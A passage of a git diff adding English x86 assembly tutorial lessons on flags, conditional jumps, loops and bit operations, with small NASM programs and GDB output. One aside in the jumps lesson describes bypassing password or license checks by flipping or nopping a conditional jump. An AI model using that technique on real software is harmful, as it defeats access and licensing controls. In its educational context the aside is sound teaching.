+ - ZF (Zero Flag) → 1 when the result is EXACTLY ZERO. "equal? / zero?"
+ - SF (Sign Flag) → 1 when the result is NEGATIVE (top bit 1). "negative?" (09's two's complement)
+☐ cmp a, b = internally does a - b, DISCARDS THE RESULT, only sets the flags.
+ - sub's value-preserving sibling: the number you compared is not corrupted (after cmp 7,7 eax is still 7).
+☐ Three cases (cmp a, b):
+ - ZF=1 → a == b (equal)
+ - ZF=0, SF=0 → a > b (first is greater)
+ - ZF=0, SF=1 → a < b (first is smaller) [the subtlety for very large numbers is 11's jl/jg's job]
+☐ test eax, eax = the "is eax zero?" shortcut → if zero, ZF=1. (The mechanism inside: and, in 13.)
+☐ GDB: info registers eflags → shows the on flags as [ ... ZF ... SF ... ].
+ IF/PF/CF/AF may also appear; for now follow ONLY ZF and SF.
+☐ A flag alone doesn't change the program: cmp/test SET → the jump instructions in 11 READ and decide.
+```
+
+---
+
+## 🔗 Related Topics
+
+- [09_aritmetik.md](./09_aritmetik.md) — this is where we promised that `add`/`sub` "keep a note on the side" (the flag) and two's complement (SF's "negative" meaning); here are those notes
+- [04.5_registerin_ici.md](./04.5_registerin_ici.md) — `eflags` is a register too; another face of the "same bits, different meanings" idea
+- [01.5_sayi_ve_anlam.md](./01.5_sayi_ve_anlam.md) — A single bit means nothing on its own; the instruction that uses it (ZF = "was zero") gives it meaning
+- [07_gdb_tek_adim.md](./07_gdb_tek_adim.md) — watching live, with `si` + `info registers`, how an instruction changes the flags
+
+---
+
+**Previous topic:** [09_aritmetik.md](./09_aritmetik.md)
+**Next topic:** [11_ziplamalar.md](./11_ziplamalar.md)
+
+*This guide is part of the [waitaseC137/linux_learning](https://github.com/waitaseC137/linux_learning) repository.*
diff --git a/docs/eng/konu_anlatimlari/x86_assembly/11_ziplamalar.md b/docs/eng/konu_anlatimlari/x86_assembly/11_ziplamalar.md
new file mode 100644
index 0000000..29c2ac5
--- /dev/null
+++ b/docs/eng/konu_anlatimlari/x86_assembly/11_ziplamalar.md
@@ -0,0 +1,259 @@
+# 🔀 x86 Assembly — Jumps: Making the Worker Decide
+
+> In 10 we set flags, but we admitted honestly: **nothing happened.** `cmp` set a flag, and the program still flowed straight down. We said, "the flag is raw material; the instructions that read it and decide come in 11."
+> Here are those instructions: **jumps.** In this lesson, for the first time, we'll break the program's straight top-to-bottom path — "if that flag is set, go here; otherwise keep going from here." What we call a computer "making a decision" is exactly this.
+
+> **This lesson has code, and we run all of it.** Every program, every exit code, and every GDB output below is real: I assembled and ran them on my own machine.
+
+---
+
+## 📋 Table of Contents
+
+- [Breaking the Straight Path: `jmp`](#breaking-the-straight-path-jmp)
+- [Conditional Jump: `jz` and `jnz`](#conditional-jump-jz-and-jnz)
+- [Jump by Ordering: `jl` and `jg`](#jump-by-ordering-jl-and-jg)
+- [Putting It Together: Even or Odd?](#putting-it-together-even-or-odd)
+
+---
+
+## Breaking the Straight Path: `jmp`
+
+Up to now, the worker always did the same thing: start from the topmost instruction, go **line by line downward**, exit at the very end. One path, one direction. That's the first rule we'll break.
+
+The simplest jump instruction is `jmp` (from *jump*): **"don't continue from here, go to that point."** But how do we point out "that point"? With a **label**. You already know labels: `_start:` was a label — the colon (`:`) at its end makes it "a name for this point in memory." We can place our own labels exactly the same way.
+
+`atla.asm` — with `jmp` we **jump over** an instruction:
+
+```nasm
+section .text
+ global _start
+
+_start:
+ mov ebx, 1
+ jmp bitir ; break the straight path → skip below
+ mov ebx, 99 ; SKIPPED — this line is never reached
+bitir:
+ mov eax, 1
+ int 0x80
+```
+
+The logic is this: we put 1 in `ebx`, then we say `jmp bitir`. The worker leaps straight to the `bitir:` label — the `mov ebx, 99` sitting in between **never runs.** So the exit code should be 1, not 99. Assemble, run:
+
+```
+nasm -f elf32 atla.asm -o atla.o
+ld -m elf_i386 atla.o -o atla
+./atla
+echo $?
+```
+
+```
+1
+```
+
+**99 is gone, 1 came back.** `mov ebx, 99` is right there, in plain sight — but it didn't run, because `jmp` jumped over it. For the first time an instruction changed *which instruction was up next* in the program.
+
+Let's see this with our own eyes in GDB, as in 07. The worker's "where am I right now" indicator was `eip` (04.5/07); let's watch it step by step:
+
+```
+gdb ./atla
+(gdb) set disassembly-flavor intel
+(gdb) starti
+(gdb) x/i $eip # which instruction now?
+(gdb) si
+(gdb) x/i $eip
+(gdb) si
+(gdb) x/i $eip
+```
+
+Real output:
+
+```
+=> 0x8049000 <_start>: mov ebx,0x1
+=> 0x8049005 <_start+5>: jmp 0x804900c
+=> 0x804900c : mov eax,0x1
+```
+
+Notice the addresses. `jmp` is at `0x8049005`. On the next step, `eip` jumped to `0x804900c` (`bitir`). So what was at `0x8049007` in between? Exactly `mov ebx, 99` (`0x63` = 99). **`eip` never visited there** — straight from 0x8049005 to 0x804900c. That's what "jumping over" is: the worker's step indicator never even saw that address.
+
+> 🔑 `jmp etiket` = "change the next instruction: continue from `etiket`." It forcibly moves the worker's "where am I" indicator (`eip`) to that point; the instructions in between are **skipped**, they never run. Label = a name you give to a point in memory (like `_start:`).
+
+> ⚠️ `jmp` is **unconditional** — it doesn't look at any flag or anything, it *always* jumps. On its own it's not much use (in fact, used carelessly, it makes an infinite loop). Its real power comes together with its **conditional** siblings, which you'll see in a moment: "if you meet the condition, jump; if not, keep going straight."
+
+---
+
+## Conditional Jump: `jz` and `jnz`
+
+`jmp` always jumped. What we really want is to jump **conditionally**: "if the previous result was zero, go there." This is exactly where the flags we set in 10 come into play.
+
+The first conditional-jump pair reads **ZF** (the zero flag) directly:
+
+- `jz etiket` → **jump if zero:** if ZF is set (the result was zero), jump; otherwise keep going straight.
+- `jnz etiket` → **jump if not zero:** if ZF is clear (the result was not zero), jump.
+
+Recall the chain — the bridge from 10: **`cmp`/`test` sets → `jz`/`jnz` reads.** Now let's put the two side by side and write our first real "decision-making" program. `sifirmi.asm` — a **different** exit code depending on whether a number is zero:
+
+```nasm
+section .text
+ global _start
+
+_start:
+ mov eax, 0
+ test eax, eax ; is eax zero? (from 10: if zero, ZF=1)
+ jz sifir ; if ZF set → jump to 'sifir' label
+ mov ebx, 200 ; reached only if NOT zero
+ jmp bitir
+sifir:
+ mov ebx, 100 ; reached only if ZERO
+bitir:
+ mov eax, 1
+ int 0x80
+```
+
+Follow the path: `test eax, eax` sets the flag. Then `jz sifir` — if ZF is set, it jumps to `sifir:` (`ebx = 100`); if it's not set, it doesn't jump, it keeps going straight (`ebx = 200`, then `jmp bitir` skips the `sifir` block below). Two separate paths, both merging at `bitir`.
+
+Let's run it with `mov eax, 0` (zero):
+
+```
+100
+```
+
+Now change a single line — `mov eax, 5` (not zero) — reassemble, run:
+
+```
+200
+```
+
+**Here's your first decision.** The same program behaved **differently** when just one number changed: 100 if zero, 200 if not. The program's flow is no longer a straight line — depending on the input, it **forked**. `test` set the flag, `jz` read it and chose the path.
+
+> 🔑 `jz` (jump if ZF is set) and `jnz` (jump if ZF is clear) are the conditional jumps that read the ZF from 10. The pattern is always the same: **first set the flag with `cmp`/`test`, then immediately conditional-jump.** This pair is the machine-language equivalent of saying "if ...".
+
+> 💡 **You might be wondering:** *"`jz` is a slightly odd name for equality — why does 'jump if zero' mean 'jump if equal'?"* Because `cmp a, b` was doing `a - b` inside (10); and if `a == b`, the difference is **zero**, so ZF gets set. So the question "are they equal" is really the question "is the difference zero." That's why `jz` also has the name **`je`** (*jump if equal*) — the two are **exactly the same instruction**, just two different readings. Likewise `jnz` = **`jne`** (*jump if not equal*). Writing `je`/`jne` after `cmp` and `jz`/`jnz` after `test` is purely a readability preference.
+
+> 💡 **Where it comes in handy:** the classic way to crack a program's password/license check is to find exactly this `cmp`/`test` + `jz` pair in the disassembly — then you either flip the `jz` to a `jnz` or `nop` out the jump; that way the "wrong password" branch behaves as if it were "correct." So the pattern you *write* by hand today is what reverse engineering *takes apart.* Breaking a "decision" = changing the conditional jump it rests on. This is also the first brick of the binary exploitation we'll return to in 20.
+
+---
+
+## Jump by Ordering: `jl` and `jg`
+
+ZF only lets us ask "equal or not." But most of the time we want to ask **which one is bigger**. In 10 the hint for that was in SF, but we left an honest warning: the "which is bigger" rule has a subtlety with very large numbers, and you **won't need to solve it by hand**, because the jump instructions themselves know the right flag combination. Here are those instructions:
+
+- `jl etiket` → **jump if less:** after `cmp a, b`, jump if `a < b`.
+- `jg etiket` → **jump if greater:** jump if `a > b`.
+
+(Alongside them are `jle` = "less than or equal" and `jge` = "greater than or equal"; same family.) You just write `cmp a, b` and say `jl`/`jg`; which flag to check and how is the instruction's own job.
+
+Let's write a program that finds the **larger** of two numbers — `enbuyuk.asm`:
+
+```nasm
+section .text
+ global _start
+
+_start:
+ mov eax, 12 ; first number
+ mov ecx, 30 ; second number
+ cmp eax, ecx ; eax - ecx → set the flags
+ jg eax_buyuk ; if eax > ecx, jump
+ mov ebx, ecx ; if reached here, ecx is the larger
+ jmp bitir
+eax_buyuk:
+ mov ebx, eax ; eax was the larger
+bitir:
+ mov eax, 1
+ int 0x80 ; exit code = the larger number
+```
+
+`cmp eax, ecx` compares the two numbers (without altering their values — 10). `jg` jumps to `eax_buyuk` if eax is bigger (`ebx = eax`); otherwise it doesn't jump, and `ebx = ecx`. Both paths put the larger number in `ebx`. With `12` and `30`:
+
+```
+30
+```
+
+Make the numbers `mov eax, 40` / `mov ecx, 30` and run again:
+
+```
+40
+```
+
+Each time, the program picked **the larger one** — you built the `if (a > b)` logic in the worker's language.
+
+> 🔑 `cmp a, b` + `jl`/`jg` = the decision "is a less than / greater than b?" The "signed-comparison subtlety" mentioned in 10 has a name: **overflow** — and `jl`/`jg` knows the right flag combination for you, so you don't fuss with it by hand. The exact mechanism of this overflow is a deeper topic in signed arithmetic — it falls outside the scope of this beginner series; all you need here is to know its name, and `jl`/`jg` handles the rest for you. Just pick the right one: `jl`/`jg`/`jle`/`jge` for ordering, `je`/`jne` for equality. The pattern is the same again: **set with `cmp`, conditional-jump.**
+
+---
+
+## Putting It Together: Even or Odd?
+
+Now let's combine what you've learned in a single small but real program: given a number, write **even or odd** to the exit code (even → 0, odd → 1).
+
+How do we tell whether a number is even or odd? Recall a fact from 03 (binary numbers): a number's **rightmost (smallest) bit** tells you whether it's odd or even — if the bit is `0` it's even, if `1` it's odd. (Just like in decimal we look at the last digit and say "0,2,4,6,8 are even"; in binary we look at the last *bit*.)
+
+The way to look at that last bit is another use of the `test` from 10: `test eax, 1`. This asks, "is eax's lowest bit 1?" — if the bit is 1 (odd), ZF stays clear; if the bit is 0 (even), ZF stays set.
+
+```nasm
+section .text
+ global _start
+
+_start:
+ mov eax, 7 ; the number we'll test
+ test eax, 1 ; is the lowest bit 1? (i.e. odd?)
+ jz cift ; ZF set → low bit 0 → EVEN
+ mov ebx, 1 ; if reached here → ODD
+ jmp bitir
+cift:
+ mov ebx, 0 ; EVEN
+bitir:
+ mov eax, 1
+ int 0x80
+```
+
+With `7` (odd):
+
+```
+1
+```
+
+Make it `mov eax, 8` (even) and run again:
+
+```
+0
+```
+
+**And there's the whole thing.** The knowledge of three lessons met in one program: from 03, "the last bit tells even/oddness"; from 10, "`test` sets the flag"; from 11, "`jz` reads the flag and chooses the path." This is a real program skeleton — it looks at the input, decides, and behaves differently according to the result.
+
+> 💡 **You might be wondering:** *"Why does `test eax, 1` look at the 'lowest bit'? What's going on inside?"* `test`'s working mechanism is a **bit operation** (`and`), and we haven't seen it yet — as I promised in 10, a **closed box**; the full explanation is in lesson 13 (`and`/`or`/`xor`). All you need here is its function: `test eax, 1` → writes the answer to the question "is eax odd?" into ZF. When we take the mechanism apart in 13, this will click into place.
+
+---
+
+## Summary — Keep in Mind
+
+```
+☐ jmp etiket = UNCONDITIONAL jump: always go to 'etiket'; the instructions in between are SKIPPED (never run).
+ Label = a name given to a point in memory (like _start:). eip is forcibly moved there.
+☐ CONDITIONAL jumps read the flag (10). The pattern is ALWAYS the same: first cmp/test (set), then immediately conditional-jump (read).
+ - jz / je → jump if ZF is set ("if zero / equal")
+ - jnz / jne → jump if ZF is clear ("if not zero / not equal")
+ - jl / jg → after cmp a,b, jump if ab (the instruction handles the signed-ordering subtlety)
+ - jle / jge → less-or-equal / greater-or-equal
+☐ This means "IF ... THEN" (if) in machine language: the flow is no longer straight, it FORKS according to the input.
+☐ Verified programs:
+ - atla: jmp skipped mov ebx,99 → exit 1 (not 99). In gdb, eip 0x...05 → 0x...0c, the middle skipped.
+ - sifirmi: eax=0 → 100 ; eax=5 → 200 (first fork with test+jz)
+ - enbuyuk: (12,30) → 30 ; (40,30) → 40 (pick the larger with cmp+jg)
+ - ciftek: 7 → 1(odd) ; 8 → 0(even) (03 last-bit + test eax,1 + jz)
+☐ Up next: jumping BACK to the same place gives birth to a "loop" → lesson 12.
+```
+
+---
+
+## 🔗 Related Topics
+
+- [10_bayraklar_ve_cmp.md](./10_bayraklar_ve_cmp.md) — Where we set the flags (ZF/SF) that the jumps read, and `cmp`/`test`; the far side of the "sets → reads" bridge
+- [03_sayilar_ikilik_onaltilik.md](./03_sayilar_ikilik_onaltilik.md) — The fact that "the rightmost bit tells even/oddness"; the basis of the even-odd program
+- [07_gdb_tek_adim.md](./07_gdb_tek_adim.md) — Tracking `eip` (the worker's "where am I" indicator) with `si`; where we saw `jmp`'s leap
+- [04.5_registerin_ici.md](./04.5_registerin_ici.md) — What `eip` is; a jump is really "changing eip"
+
+---
+
+**Previous topic:** [10_bayraklar_ve_cmp.md](./10_bayraklar_ve_cmp.md)
+**Next topic:** [12_donguler.md](./12_donguler.md)
+
+*This guide is part of the [waitaseC137/linux_learning](https://github.com/waitaseC137/linux_learning) repository.*
diff --git a/docs/eng/konu_anlatimlari/x86_assembly/12_donguler.md b/docs/eng/konu_anlatimlari/x86_assembly/12_donguler.md
new file mode 100644
index 0000000..d0abfa2
--- /dev/null
+++ b/docs/eng/konu_anlatimlari/x86_assembly/12_donguler.md
@@ -0,0 +1,208 @@
+# 🔁 x86 Assembly — Loops: Doing the Same Job Over and Over
+
+> In 11 we broke the program's straight road: with `jmp` we jumped **forward**, skipped instructions, branched. At the end we cracked open a little door: *"when you jump **back** to the same place, a 'loop' is born."*
+> That is the door we walk through now. Until now we always went forward; in this lesson, for the first time, we will jump **backward** — and make the worker do the same job, over and over, until we say "stop." This is the real source of the computer's "unbelievable speed" (01): tireless repetition.
+
+> **This lesson has code, and we run all of it.** Every program, every exit code, and every GDB output below is real: I compiled and ran them on my own machine.
+
+---
+
+## 📋 Table of Contents
+
+- [Jump Backward: This Is How a Loop Is Born](#jump-backward-this-is-how-a-loop-is-born)
+- [The Infinite-Loop Danger: A Counter Is a Must](#the-infinite-loop-danger-a-counter-is-a-must)
+- [First Loop: Sum from 1 to N](#first-loop-sum-from-1-to-n)
+- [A Loop Is the Brick of Higher Operations: Multiplication](#a-loop-is-the-brick-of-higher-operations-multiplication)
+
+---
+
+## Jump Backward: This Is How a Loop Is Born
+
+In 11 we said `jmp bitir` and jumped to a label **below**. But there is no rule about where the label has to be — `jmp` can jump to **any** point in memory; forward, or **backward**.
+
+What if we put a label **above** the `jmp` and jump there? Then the worker goes back, runs the instructions in between **again**, then goes back once more... That is exactly what a **loop** is: give a point in memory a name, do the job, then `jmp` **back** to that name.
+
+```nasm
+tekrar: ; ← label, ABOVE the jmp
+ ; ... work to be done ...
+ jmp tekrar ; go back → work from the top
+```
+
+This skeleton works — but it has one problem, and that problem is the real lesson of this lesson.
+
+> 🔑 Loop = jumping **back** to a label. A forward `jmp` skips instructions; a backward `jmp` **repeats** them. We aren't learning a new instruction — we're just turning 11's `jmp` around to point backward. All of repetition comes out of this simple idea.
+
+---
+
+## The Infinite-Loop Danger: A Counter Is a Must
+
+The `jmp tekrar` above was **unconditional** (11): every time, no questions asked, it goes back. So the worker returns to `tekrar`, does the job, returns again, does it again... **forever.** The program never ends, it can never reach `int 0x80` (exit). This is called an **infinite loop**, and it is usually a bug you don't want — the machine spins in one spot, fast, for nothing.
+
+So a loop must have two parts:
+1. **The job:** the thing to be done each round.
+2. **The exit condition:** a control that says "enough now, get out of the loop" — otherwise it spins forever.
+
+How do we build the exit condition? With the material we already have: 11's **conditional** jump. The idea is this — keep a **counter** (a register that counts how many rounds are left), decrement it by one each round (`dec`, 09), and stop **when it hits zero**. We can already answer the question "did it hit zero?": if the result of `dec` is zero, **ZF** turns on (10), and `jnz` (11) says "jump if not zero."
+
+The pattern settles like this:
+
+```nasm
+ mov ecx, 5 ; counter = 5 rounds
+tekrar:
+ ; ... work ...
+ dec ecx ; counter-- (and sets ZF: when it hits zero, ZF=1)
+ jnz tekrar ; if counter is NOT 0 go back; if 0 fall through, exit the loop
+```
+
+See it? Three lessons' pieces came together: **decrement** the counter (09 `dec`), check whether the result **is zero** (10 `ZF`), and if it isn't zero, **jump back** (11 `jnz`). When the counter reaches zero, `jnz` no longer jumps — the worker "falls through" past the bottom of the loop and continues. The infinite loop was tamed with a counter.
+
+> 🔑 A solid loop = **job + exit condition.** The most common condition: `dec` a **counter** register each round, and say "if not zero, repeat" with `jnz`. When the counter hits zero, ZF turns on, `jnz` doesn't jump, the loop ends. Forget the counter → infinite loop.
+
+> ⚠️ This pattern assumes the counter starts at **1 or greater**. If you start with `mov ecx, 0`, `dec` drops the counter **below** zero (not 0, but 0xFFFFFFFF — a huge number), `jnz` doesn't stop, and the loop slides into exactly the infinite loop we just feared. If the counter could be 0, check it before entering the loop (e.g. skip the loop entirely with a `jz` up front).
+
+---
+
+## First Loop: Sum from 1 to N
+
+Let's put the pattern to real work: **sum the numbers from 1 to N** (that is, 1 + 2 + ... + N). We'll use the counter both for "how many rounds are left" and for "the number to add this round" — cleverly: as ecx counts down `3, 2, 1`, those are exactly the numbers we want to add. `toplam.asm` (N = 3):
+
+```nasm
+section .text
+ global _start
+
+_start:
+ mov eax, 0 ; total = 0 (where we accumulate)
+ mov ecx, 3 ; counter = N = 3
+dongu:
+ add eax, ecx ; total += counter (WORK: 09's accumulation)
+ dec ecx ; counter-- (+ set ZF)
+ jnz dongu ; if counter not 0 go back to the top
+ mov ebx, eax ; result into the exit code
+ mov eax, 1
+ int 0x80
+```
+
+> 💡 **Which flag is `jnz` reading?** In this loop there are **two** flag-setting instructions before `jnz`: first `add eax, ecx`, then `dec ecx` — both update ZF (10). The rule is simple: **every new arithmetic instruction overwrites the previous one's flag**, so `jnz` only looks at the flag of the instruction **immediately before it** (that is, `dec`'s). That's why we put `dec` right in front of `jnz`; the ZF that `add` set doesn't matter, the one in effect is `dec`'s.
+
+Turn the rounds over in your head: ecx=3 → eax 0+3=3; ecx=2 → eax 3+2=5; ecx=1 → eax 5+1=6; ecx=0 → `jnz` stops. Result 6 (=1+2+3). Run it:
+
+```
+nasm -f elf32 toplam.asm -o toplam.o
+ld -m elf_i386 toplam.o -o toplam
+./toplam
+echo $?
+```
+
+```
+6
+```
+
+Now let's actually **see with our own eyes** that the loop really loops. Let's put a **breakpoint** on the `dongu` label — GDB will stop every time the worker visits it — and look at the counter each time:
+
+```
+gdb ./toplam
+(gdb) break dongu # put a breakpoint on the 'dongu' label
+(gdb) run
+(gdb) print $ecx # round 1
+(gdb) continue # continue until the next 'dongu' visit
+(gdb) print $ecx # round 2
+(gdb) continue
+(gdb) print $ecx # round 3
+(gdb) continue
+```
+
+Real output (this is exactly what you see on screen):
+
+```
+Breakpoint 1 at 0x804900a
+Breakpoint 1, 0x0804900a in dongu ()
+$1 = 3
+Breakpoint 1, 0x0804900a in dongu ()
+$2 = 2
+Breakpoint 1, 0x0804900a in dongu ()
+$3 = 1
+```
+
+Let's read the lines: the same address `0x804900a` (that is, `dongu`) appears **three times** — GDB stopped there each round when the worker arrived. And `$1 = 3`, `$2 = 2`, `$3 = 1`, that is the three answers of `print $ecx`: the counter dropped by one each round, `3 → 2 → 1`. After the third `continue`, `dec` zeroed ecx, `jnz` no longer jumped; the worker fell through past the bottom of the loop and the program exited — the breakpoint was never hit again.
+
+**This is a loop.** The worker visited the same address (`0x804900a`, `dongu`) **three times** — because each round `jnz` sent it back there. And the counter dropped by one at each visit: `3 → 2 → 1`. The fourth time, `dec` zeroed ecx, `jnz` didn't jump, the worker fell through past the bottom of the loop and exited. You wrote a single program once, and the worker ran it three times — as many repetitions as you want, with a single counter.
+
+> 💡 **You might be wondering:** *"What did `break dongu` do?"* In GDB, a **breakpoint** means "stop me when the worker reaches this point." In 07 we stopped at *every* instruction with `si`; here we only stopped every time we reached `dongu`. Perfect for loops: instead of `si`-ing through each round one instruction at a time, we said "stop at the start of each round, look at the counter." And `continue` (or `c` for short) means "let it run free until the next breakpoint."
+
+---
+
+## A Loop Is the Brick of Higher Operations: Multiplication
+
+In 09 we saw a lovely secret: the machine has **no** separate subtraction circuit — subtraction was "adding the negative." The same spirit is here too. The machine's basic arithmetic is addition; so what about **multiplication**? What does `3 × 4` really mean? It means **"add 3, four times"**: 3 + 3 + 3 + 3. And "doing something N times" is now in our hands — the loop!
+
+`carp.asm` — computing `3 × 4` with repeated addition, without ever using a multiply instruction:
+
+```nasm
+section .text
+ global _start
+
+_start:
+ mov eax, 0 ; result = 0
+ mov ecx, 4 ; how many times we'll add (multiplier)
+carp:
+ add eax, 3 ; each round add the 'multiplicand' (3)
+ dec ecx ; counter--
+ jnz carp ; 4 times: 3+3+3+3
+ mov ebx, eax
+ mov eax, 1
+ int 0x80
+```
+
+Run it, `echo $?`:
+
+```
+12
+```
+
+`3 + 3 + 3 + 3 = 12 = 3 × 4`. If you make the 3 inside it a 7 and the counter a 6 (`7 × 6`), the result:
+
+```
+42
+```
+
+**This is the power of the loop.** From a primitive operation like addition, by repeating it, you built a bigger operation like **multiplication**. 09's theme peaks here: the machine really knows very little (add, subtract, compare, jump) — but by **repeating and combining** these, it builds everything. A few simple bricks + a loop = huge buildings.
+
+> 🔑 A loop isn't just "repetition," it's a **construction tool:** `3 × 4` = "add 3, four times." By repeating primitive operations (add) you build higher ones (multiplication). If a processor "can multiply," at the very bottom there are usually repetitions like this. (On modern x86 there is also a ready-made `mul` instruction — but the idea is always the same: repeated addition.)
+
+---
+
+## Summary — Keep in Mind
+
+```
+☐ LOOP = jumping BACK to a label. Forward jmp skips; backward jmp repeats. (No new instruction, 11's jmp turned backward.)
+☐ Unconditional backward jmp → INFINITE LOOP (program never ends). This is usually a BUG.
+☐ Solid loop = JOB + EXIT CONDITION. Most common pattern — COUNTER:
+ mov ecx, N
+ tekrar:
+ ; ... work ...
+ dec ecx ; 09: decrement + 10: set ZF
+ jnz tekrar ; 11: if not zero go back; if zero fall through → exit
+ (the dec+ZF+jnz trio = 09+10+11 in one place.)
+☐ Verified programs:
+ - sum (1..N): N=3 → 6 ; N=5 → 15 ; N=10 → 55.
+ gdb break dongu: same address visited 3 times, ecx 3→2→1, then exited.
+ - carp (repeated addition): 3×4 → 12 ; 7×6 → 42. ("add N, M times")
+☐ BIG IDEA: a few primitive operations (add/sub/cmp/jmp) + loop = everything. Even multiplication is repeated addition.
+☐ Up next: bit tricks often needed in the 'job' part (why xor eax,eax means 'zero out') → lesson 13.
+```
+
+---
+
+## 🔗 Related Topics
+
+- [11_ziplamalar.md](./11_ziplamalar.md) — `jmp`/`jnz`, the loop's only material; the "jump back = loop" door was cracked open here
+- [10_bayraklar_ve_cmp.md](./10_bayraklar_ve_cmp.md) — The counter's "did it hit zero" decision: ZF after `dec`; the flag that ends the loop
+- [09_aritmetik.md](./09_aritmetik.md) — `add` (accumulation) and `dec`; and the "build the bigger from the primitive" idea (sub = add the negative)
+- [07_gdb_tek_adim.md](./07_gdb_tek_adim.md) — Tracing with GDB; here we added `break`/`continue` (stop at the start of each round, not at every instruction)
+
+---
+
+**Previous topic:** [11_ziplamalar.md](./11_ziplamalar.md)
+**Next topic:** [13_bit_islemleri.md](./13_bit_islemleri.md)
+
+*This guide is part of the [waitaseC137/linux_learning](https://github.com/waitaseC137/linux_learning) repository.*
diff --git a/docs/eng/konu_anlatimlari/x86_assembly/13_bit_islemleri.md b/docs/eng/konu_anlatimlari/x86_assembly/13_bit_islemleri.md
new file mode 100644
index 0000000..bcd4567
--- /dev/null
+++ b/docs/eng/konu_anlatimlari/x86_assembly/13_bit_islemleri.md
@@ -0,0 +1,239 @@
+# 🎛️ x86 Assembly — Bit Operations: `and`, `or`, `xor` and Shifting
+
+> I owe you a debt from 10 and 11. We used the `test eax, eax` ("is it zero?") and `test eax, 1` ("is it odd?") instructions, but I put off what actually happens inside them as a *"closed box, we'll open it in 13."* Well, here we are in 13 — we're opening that box.
+> But first, one thing to understand: the instructions so far (`add`, `sub`) treated numbers as **a whole**. In this lesson, for the first time, we'll touch the number's **individual bits** — those 1's and 0's you met in 03 are now in our hands one at a time.
+
+> **This lesson has code and we run all of it.** Every program and every exit code below is real: I compiled and ran them on my own machine.
+
+---
+
+## 📋 Table of Contents
+
+- [Working Bit by Bit: How It Differs from Addition](#working-bit-by-bit-how-it-differs-from-addition)
+- [`and`: Filtering Bits with a Mask](#and-filtering-bits-with-a-mask)
+- [`or` and `xor`: Setting and Flipping Bits](#or-and-xor-setting-and-flipping-bits)
+- [`xor eax, eax`: The Most Common 'Zero It Out'](#xor-eax-eax-the-most-common-zero-it-out)
+- [Shifting: `shl` / `shr` = Fast ×2 and ÷2](#shifting-shl--shr--fast-2-and-2)
+- [Paying the Debt: `test` Was Really `and`](#paying-the-debt-test-was-really-and)
+
+---
+
+## Working Bit by Bit: How It Differs from Addition
+
+When you do `add eax, 1`, something happens: if the number overflows, a **carry** passes to the next digit (like `9 + 1 = 10` in 09, but in binary). So addition **talks** between digits — one bit affects another.
+
+Bit operations are **not** like that. Each bit is processed **on its own** with the bit across from it; it never looks at its neighbor, and there is no such thing as a carry. Write the two numbers one above the other, process each column separately — done. This is why bit operations are both very simple and very fast.
+
+There are three basic bit operations, and each answers a single question. For two bits (a and b), the rules — the **truth table** — are:
+
+```
+ a b │ and │ or │ xor
+ ────┼─────┼─────┼─────
+ 0 0 │ 0 │ 0 │ 0
+ 0 1 │ 0 │ 1 │ 1
+ 1 0 │ 0 │ 1 │ 1
+ 1 1 │ 1 │ 1 │ 0
+```
+
+In words:
+- **`and`** ("and"): 1 if **both are 1**. (Stubborn: if there's the slightest 0, it's 0.)
+- **`or`** ("or"): 1 if **at least one is 1**. (Generous: if there's the slightest 1, it's 1.)
+- **`xor`** ("exclusive or"): 1 if **exactly one is 1**; if the two are the same (0-0 or 1-1), 0. (The differ-er: it asks "are they different?")
+
+> 🔑 Bit operations process a number **bit by bit**, without a carry (unlike addition, where digits mix into each other). `and` = are both 1, `or` = is at least one 1, `xor` = is one different from the other. Their rules are the truth table above.
+
+---
+
+## `and`: Filtering Bits with a Mask
+
+The most common job for `and` is the **mask**: looking at only the bits **you want** of a number and zeroing the rest. The logic comes from the table: if you `and` a bit with `1`, it **stays as is** (`1 and 1 = 1`, `0 and 1 = 0`); if you `and` it with `0`, it gets **wiped** (`x and 0 = 0`). So the places where you put `1` "let through," the places where you put `0` "shut off" — just like a stencil.
+
+`vebit.asm` — `13 and 6`:
+
+```nasm
+section .text
+ global _start
+
+_start:
+ mov eax, 13 ; 1101
+ and eax, 6 ; 0110
+ mov ebx, eax
+ mov eax, 1
+ int 0x80
+```
+
+Column by column (recall from 03, bits from right to left):
+
+```
+ 1101 (13)
+ 0110 (6) ← mask
+ ──── and (each column: are both 1?)
+ 0100 (4)
+```
+
+Run it, `echo $?`:
+
+```
+4
+```
+
+Where the mask was `1` (the middle two bits), 13's bits were filtered and passed through; where it was `0`, they were wiped. The result is `4`.
+
+There's a **very** familiar use of this: the even-odd test from 11. If you `and` a number with `1` (that is, `0001`), **only the lowest bit** survives — and that tells you whether the number is odd/even (03). `vetek.asm`, `mov eax, 7` + `and eax, 1`:
+
+```
+1
+```
+
+`7 and 1 = 1` → lowest bit is 1 → odd. This is exactly what `test eax, 1` was really doing back in 11 (we'll tie it together completely in a moment).
+
+> 🔑 `and` is a **mask**: bits that are `1` in the mask pass through, bits that are `0` get wiped. It's the way to say "I want only these bits of this number." `and eax, 1` → only the lowest bit remains (odd/even test).
+
+---
+
+## `or` and `xor`: Setting and Flipping Bits
+
+`or`'s typical job is the opposite of `and`'s: **setting** a bit (making it 1). If you `or` a bit with `1`, it's guaranteed to become 1 (`x or 1 = 1`); if you `or` it with `0`, it stays as is. So it's the way to say "definitely make these bits 1, leave the rest alone." `veyabit.asm`, `12 or 3`:
+
+```
+ 1100 (12)
+ 0011 (3)
+ ──── or (each column: is at least one 1?)
+ 1111 (15)
+```
+
+```
+15
+```
+
+`xor`, on the other hand, **flips**. If you `xor` a bit with `1`, it turns to its opposite (`0→1`, `1→0`); if you `xor` it with `0`, it stays as is. So it means "flip these bits." But where `xor` is really famous is the little magic — pardon, little **trick** — in the next section.
+
+> 🔑 `or` **sets** a bit (definitely makes the mask's 1's into 1); `xor` **flips** a bit (turns the mask's 1's to their opposite). `and` filters/wipes, `or` sets, `xor` flips — three stencil operations.
+
+---
+
+## `xor eax, eax`: The Most Common 'Zero It Out'
+
+When you look at assembly code, you'll see this almost everywhere:
+
+```nasm
+xor eax, eax
+```
+
+At first glance it's odd: "xor eax with eax"? Look at the truth table — `xor` was asking "are the two bits **different**?" But if you xor a number with **itself**, each bit meets itself: `0 xor 0 = 0`, `1 xor 1 = 0`. Since every column is the same, **they all come out 0.** So `xor eax, eax` **zeroes out** eax, no matter what's inside it.
+
+`xorsifir.asm`:
+
+```nasm
+section .text
+ global _start
+
+_start:
+ mov eax, 123 ; full inside
+ xor eax, eax ; xor with itself → 0
+ mov ebx, eax
+ mov eax, 1
+ int 0x80
+```
+
+Let's catch the exact moment in GDB:
+
+```
+(gdb) starti
+(gdb) si # mov eax, 123
+(gdb) info registers eax
+eax 0x7b 123
+(gdb) si # xor eax, eax
